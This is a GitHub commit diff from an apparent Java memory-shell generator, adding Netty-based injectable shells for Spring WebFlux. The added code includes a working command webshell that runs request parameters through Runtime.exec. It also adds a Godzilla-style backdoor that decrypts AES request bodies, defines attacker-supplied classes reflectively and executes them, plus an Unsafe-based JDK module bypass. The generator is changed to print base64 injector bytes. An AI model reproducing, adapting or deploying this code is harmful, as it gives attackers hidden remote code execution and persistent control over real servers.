Skip to content

Commit 475fca0

Browse files
committed
feat: support webflux netty shell (#8)
1 parent 0b2eea9 commit 475fca0

File tree

11 files changed

+408
-19
lines changed

11 files changed

+408
-19
lines changed

generator/build.gradle

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -62,7 +62,8 @@ dependencies {
6262
implementation 'org.springframework:spring-webmvc:4.3.30.RELEASE'
6363
implementation 'org.springframework:spring-web:4.3.30.RELEASE'
6464
implementation 'org.springframework:spring-webflux:5.3.24'
65-
65+
implementation 'io.netty:netty-all:4.1.116.Final'
66+
implementation 'io.projectreactor.netty:reactor-netty-core:1.1.25'
6667
testImplementation platform('org.junit:junit-bom:5.+')
6768
testImplementation 'org.junit.jupiter:junit-jupiter'
6869
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'

generator/src/main/java/com/reajason/javaweb/GeneratorMain.java

Lines changed: 9 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,14 @@
11
package com.reajason.javaweb;
22

33
import com.reajason.javaweb.memshell.AbstractShell;
4+
import com.reajason.javaweb.memshell.SpringWebFluxShell;
45
import com.reajason.javaweb.memshell.WebSphereShell;
56
import com.reajason.javaweb.memshell.config.*;
67
import com.reajason.javaweb.memshell.packer.Packer;
78
import com.reajason.javaweb.memshell.utils.CommonUtil;
89
import lombok.SneakyThrows;
910
import net.bytebuddy.jar.asm.Opcodes;
11+
import org.apache.commons.codec.binary.Base64;
1012
import org.apache.commons.lang3.StringUtils;
1113

1214
import java.io.IOException;
@@ -21,10 +23,10 @@ public class GeneratorMain {
2123

2224
public static void main(String[] args) throws IOException {
2325
ShellConfig shellConfig = ShellConfig.builder()
24-
.server(Server.WebSphere)
25-
.shellTool(ShellTool.Command)
26-
.shellType(WebSphereShell.AGENT_FILTER_MANAGER)
27-
.targetJreVersion(Opcodes.V1_6)
26+
.server(Server.SpringWebflux)
27+
.shellTool(ShellTool.Godzilla)
28+
.shellType(SpringWebFluxShell.NETTY_HANDLER)
29+
.targetJreVersion(Opcodes.V1_8)
2830
.debug(true)
2931
.build();
3032
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
@@ -41,12 +43,12 @@ public static void main(String[] args) throws IOException {
4143

4244
InjectorConfig injectorConfig = new InjectorConfig();
4345

44-
GenerateResult generateResult = generate(shellConfig, injectorConfig, commandConfig);
46+
GenerateResult generateResult = generate(shellConfig, injectorConfig, godzillaConfig);
4547
if (generateResult != null) {
4648
// Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
4749
// Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
48-
// System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes()));
49-
Files.write(Path.of("target.jar"), Packer.INSTANCE.AgentJar.getPacker().packBytes(generateResult));
50+
System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes()));
51+
// Files.write(Path.of("target.jar"), Packer.INSTANCE.AgentJar.getPacker().packBytes(generateResult));
5052
}
5153
}
5254

generator/src/main/java/com/reajason/javaweb/memshell/SpringWebFluxShell.java

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,12 +2,15 @@
22

33
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerFunction;
44
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerMethod;
5+
import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
56
import com.reajason.javaweb.memshell.springwebflux.command.CommandWebFilter;
67
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerFunction;
78
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerMethod;
9+
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler;
810
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaWebFilter;
911
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandlerFunctionInjector;
1012
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandlerMethodInjector;
13+
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxNettyHandlerInjector;
1114
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxWebFilterInjector;
1215
import org.apache.commons.lang3.tuple.Pair;
1316

@@ -21,13 +24,15 @@ public class SpringWebFluxShell extends AbstractShell {
2124
public static final String WEB_FILTER = "WebFilter";
2225
public static final String HANDLER_METHOD = "HandlerMethod";
2326
public static final String HANDLER_FUNCTION = "HandlerFunction";
27+
public static final String NETTY_HANDLER = "NettyHandler";
2428

2529
@Override
2630
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
2731
return Map.of(
2832
WEB_FILTER, Pair.of(CommandWebFilter.class, SpringWebFluxWebFilterInjector.class),
2933
HANDLER_METHOD, Pair.of(CommandHandlerMethod.class, SpringWebFluxHandlerMethodInjector.class),
30-
HANDLER_FUNCTION, Pair.of(CommandHandlerFunction.class, SpringWebFluxHandlerFunctionInjector.class)
34+
HANDLER_FUNCTION, Pair.of(CommandHandlerFunction.class, SpringWebFluxHandlerFunctionInjector.class),
35+
NETTY_HANDLER, Pair.of(CommandNettyHandler.class, SpringWebFluxNettyHandlerInjector.class)
3136
);
3237
}
3338

@@ -36,7 +41,8 @@ protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
3641
return Map.of(
3742
WEB_FILTER, Pair.of(GodzillaWebFilter.class, SpringWebFluxWebFilterInjector.class),
3843
HANDLER_METHOD, Pair.of(GodzillaHandlerMethod.class, SpringWebFluxHandlerMethodInjector.class),
39-
HANDLER_FUNCTION, Pair.of(GodzillaHandlerFunction.class, SpringWebFluxHandlerFunctionInjector.class)
44+
HANDLER_FUNCTION, Pair.of(GodzillaHandlerFunction.class, SpringWebFluxHandlerFunctionInjector.class),
45+
NETTY_HANDLER, Pair.of(GodzillaNettyHandler.class, SpringWebFluxNettyHandlerInjector.class)
4046
);
4147
}
4248
}

memshell-java8/build.gradle

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -18,6 +18,8 @@ dependencies {
1818
implementation 'org.springframework:spring-webmvc:4.3.30.RELEASE'
1919
implementation 'org.springframework:spring-webflux:5.3.24'
2020
implementation 'org.springframework:spring-web:4.3.30.RELEASE'
21+
implementation 'io.projectreactor.netty:reactor-netty-core:1.1.25'
22+
implementation 'io.netty:netty-all:4.1.116.Final'
2123
implementation 'net.bytebuddy:byte-buddy:1.+'
2224
providedCompile 'javax.servlet:javax.servlet-api:3.0.1'
2325
providedCompile 'javax.websocket:javax.websocket-api:1.1'

memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/command/CommandHandlerMethod.java

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,6 @@ public CommandHandlerMethod() {
1919
public ResponseEntity<?> invoke(ServerWebExchange exchange) {
2020
try {
2121
String cmd = exchange.getRequest().getQueryParams().getFirst(paramName);
22-
System.out.println("handler method cmd: " + cmd);
2322
StringBuilder result = new StringBuilder();
2423
try {
2524
if (cmd != null) {
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
package com.reajason.javaweb.memshell.springwebflux.command;
2+
3+
import io.netty.buffer.Unpooled;
4+
import io.netty.channel.ChannelDuplexHandler;
5+
import io.netty.channel.ChannelFutureListener;
6+
import io.netty.channel.ChannelHandler;
7+
import io.netty.channel.ChannelHandlerContext;
8+
import io.netty.handler.codec.http.*;
9+
10+
import java.io.BufferedReader;
11+
import java.io.InputStreamReader;
12+
import java.net.URI;
13+
import java.nio.charset.StandardCharsets;
14+
15+
/**
16+
* @author ReaJason
17+
*/
18+
@ChannelHandler.Sharable
19+
public class CommandNettyHandler extends ChannelDuplexHandler {
20+
public static String paramName;
21+
22+
@Override
23+
@SuppressWarnings("all")
24+
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
25+
if (msg instanceof DefaultHttpRequest) {
26+
DefaultHttpRequest request = (DefaultHttpRequest) msg;
27+
HttpHeaders headers = request.headers();
28+
String uri = request.uri();
29+
String cmd = getParameter(uri, paramName);
30+
if (cmd == null) {
31+
ctx.fireChannelRead(msg);
32+
return;
33+
}
34+
StringBuilder result = new StringBuilder();
35+
try {
36+
Process exec = Runtime.getRuntime().exec(cmd);
37+
try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()))) {
38+
String line;
39+
while ((line = bufferedReader.readLine()) != null) {
40+
result.append(line);
41+
result.append(System.lineSeparator());
42+
}
43+
}
44+
} catch (Exception ignored) {
45+
}
46+
send(ctx, result.toString());
47+
}
48+
}
49+
50+
public String getParameter(String requestUrl, String paramName) throws Exception {
51+
URI uri = new URI(requestUrl);
52+
String query = uri.getQuery();
53+
String[] kvs = query.split("&");
54+
for (String kv : kvs) {
55+
String k = null;
56+
String[] pair = kv.split("=", 2);
57+
if (pair.length > 0) {
58+
k = pair[0];
59+
}
60+
if (pair.length > 1 && k != null && k.equals(paramName)) {
61+
return pair[1];
62+
}
63+
}
64+
return null;
65+
}
66+
67+
private void send(ChannelHandlerContext ctx, String context) throws Exception {
68+
FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, HttpResponseStatus.OK, Unpooled.copiedBuffer(context, StandardCharsets.UTF_8));
69+
response.headers().set("Content-Type", "text/plain; charset=UTF-8");
70+
response.headers().set(HttpHeaderNames.CONTENT_LENGTH, response.content().readableBytes());
71+
ctx.channel().writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
72+
}
73+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,159 @@
1+
package com.reajason.javaweb.memshell.springwebflux.godzilla;
2+
3+
import io.netty.buffer.Unpooled;
4+
import io.netty.channel.ChannelDuplexHandler;
5+
import io.netty.channel.ChannelFutureListener;
6+
import io.netty.channel.ChannelHandler;
7+
import io.netty.channel.ChannelHandlerContext;
8+
import io.netty.handler.codec.http.*;
9+
import io.netty.util.CharsetUtil;
10+
11+
import javax.crypto.Cipher;
12+
import javax.crypto.spec.SecretKeySpec;
13+
import java.io.ByteArrayOutputStream;
14+
import java.lang.reflect.Field;
15+
import java.lang.reflect.Method;
16+
import java.net.URL;
17+
import java.net.URLClassLoader;
18+
import java.net.URLDecoder;
19+
import java.nio.charset.StandardCharsets;
20+
21+
@ChannelHandler.Sharable
22+
public class GodzillaNettyHandler extends ChannelDuplexHandler {
23+
public static String key;
24+
public static String pass;
25+
public static String md5;
26+
public static String headerName;
27+
public static String headerValue;
28+
private StringBuilder requestBody = new StringBuilder();
29+
private DefaultHttpRequest request;
30+
private static Class<?> payload;
31+
32+
private static Class<?> defClass(byte[] classbytes) throws Exception {
33+
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
34+
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
35+
method.setAccessible(true);
36+
return (Class<?>) method.invoke(urlClassLoader, classbytes, 0, classbytes.length);
37+
}
38+
39+
public byte[] x(byte[] s, boolean m) {
40+
try {
41+
Cipher c = Cipher.getInstance("AES");
42+
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
43+
return c.doFinal(s);
44+
} catch (Exception e) {
45+
return null;
46+
}
47+
}
48+
49+
@Override
50+
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
51+
if (msg instanceof DefaultHttpRequest) {
52+
request = (DefaultHttpRequest) msg;
53+
HttpHeaders headers = request.headers();
54+
String value = headers.get(headerName);
55+
if (value == null || !value.equals(headerValue)) {
56+
ctx.fireChannelRead(msg);
57+
return;
58+
}
59+
// 如果是当前 payload 进来不能调用 ctx.fireChannelRead(msg),不然的话下面不能拿到完整的 request body
60+
}
61+
if (msg instanceof HttpContent) {
62+
HttpContent httpContent = (HttpContent) msg;
63+
HttpHeaders headers = request.headers();
64+
String value = headers.get(headerName);
65+
66+
// quick fail,防止其他哥斯拉马打进来走这个逻辑寄了
67+
if (value == null || !value.equals(headerValue)) {
68+
ctx.fireChannelRead(msg);
69+
return;
70+
}
71+
72+
String content = httpContent.content().toString(CharsetUtil.UTF_8);
73+
requestBody.append(content);
74+
if (httpContent instanceof LastHttpContent) {
75+
try {
76+
String base64Str = URLDecoder.decode(requestBody.substring(pass.length() + 1), "UTF-8");
77+
requestBody.setLength(0);
78+
byte[] data = x(base64Decode(base64Str), false);
79+
if (payload == null) {
80+
payload = defClass(data);
81+
send(ctx, "");
82+
return;
83+
} else {
84+
Object f = payload.newInstance();
85+
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
86+
f.equals(arrOut);
87+
f.equals(data);
88+
f.toString();
89+
send(ctx, md5.substring(0, 16) + base64Encode(x(arrOut.toByteArray(), true)) + md5.substring(16));
90+
}
91+
return;
92+
} catch (Exception ignored) {
93+
}
94+
}
95+
ctx.fireChannelRead(msg);
96+
}
97+
}
98+
99+
@SuppressWarnings("all")
100+
public static String base64Encode(byte[] bs) throws Exception {
101+
String value = null;
102+
Class<?> base64;
103+
try {
104+
base64 = Class.forName("java.util.Base64");
105+
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
106+
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
107+
} catch (Exception var6) {
108+
try {
109+
base64 = Class.forName("sun.misc.BASE64Encoder");
110+
Object encoder = base64.newInstance();
111+
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
112+
} catch (Exception ignored) {
113+
}
114+
}
115+
return value;
116+
}
117+
118+
@SuppressWarnings("all")
119+
public static byte[] base64Decode(String bs) {
120+
byte[] value = null;
121+
Class<?> base64;
122+
try {
123+
base64 = Class.forName("java.util.Base64");
124+
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
125+
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
126+
} catch (Exception var6) {
127+
try {
128+
base64 = Class.forName("sun.misc.BASE64Decoder");
129+
Object decoder = base64.newInstance();
130+
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
131+
} catch (Exception ignored) {
132+
}
133+
}
134+
return value;
135+
}
136+
137+
private void send(ChannelHandlerContext ctx, String context) throws Exception {
138+
FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, HttpResponseStatus.OK, Unpooled.copiedBuffer(context, StandardCharsets.UTF_8));
139+
response.headers().set("Content-Type", "text/plain; charset=UTF-8");
140+
response.headers().set(HttpHeaderNames.CONTENT_LENGTH, response.content().readableBytes());
141+
ctx.channel().writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
142+
}
143+
144+
static {
145+
// webflux3 jdk17 bypass module
146+
try {
147+
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
148+
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
149+
unsafeField.setAccessible(true);
150+
Object unsafe = unsafeField.get(null);
151+
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
152+
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
153+
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
154+
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
155+
getAndSetObjectM.invoke(unsafe, GodzillaNettyHandler.class, offset, module);
156+
} catch (Exception ignored) {
157+
}
158+
}
159+
}

0 commit comments

Comments
 (0)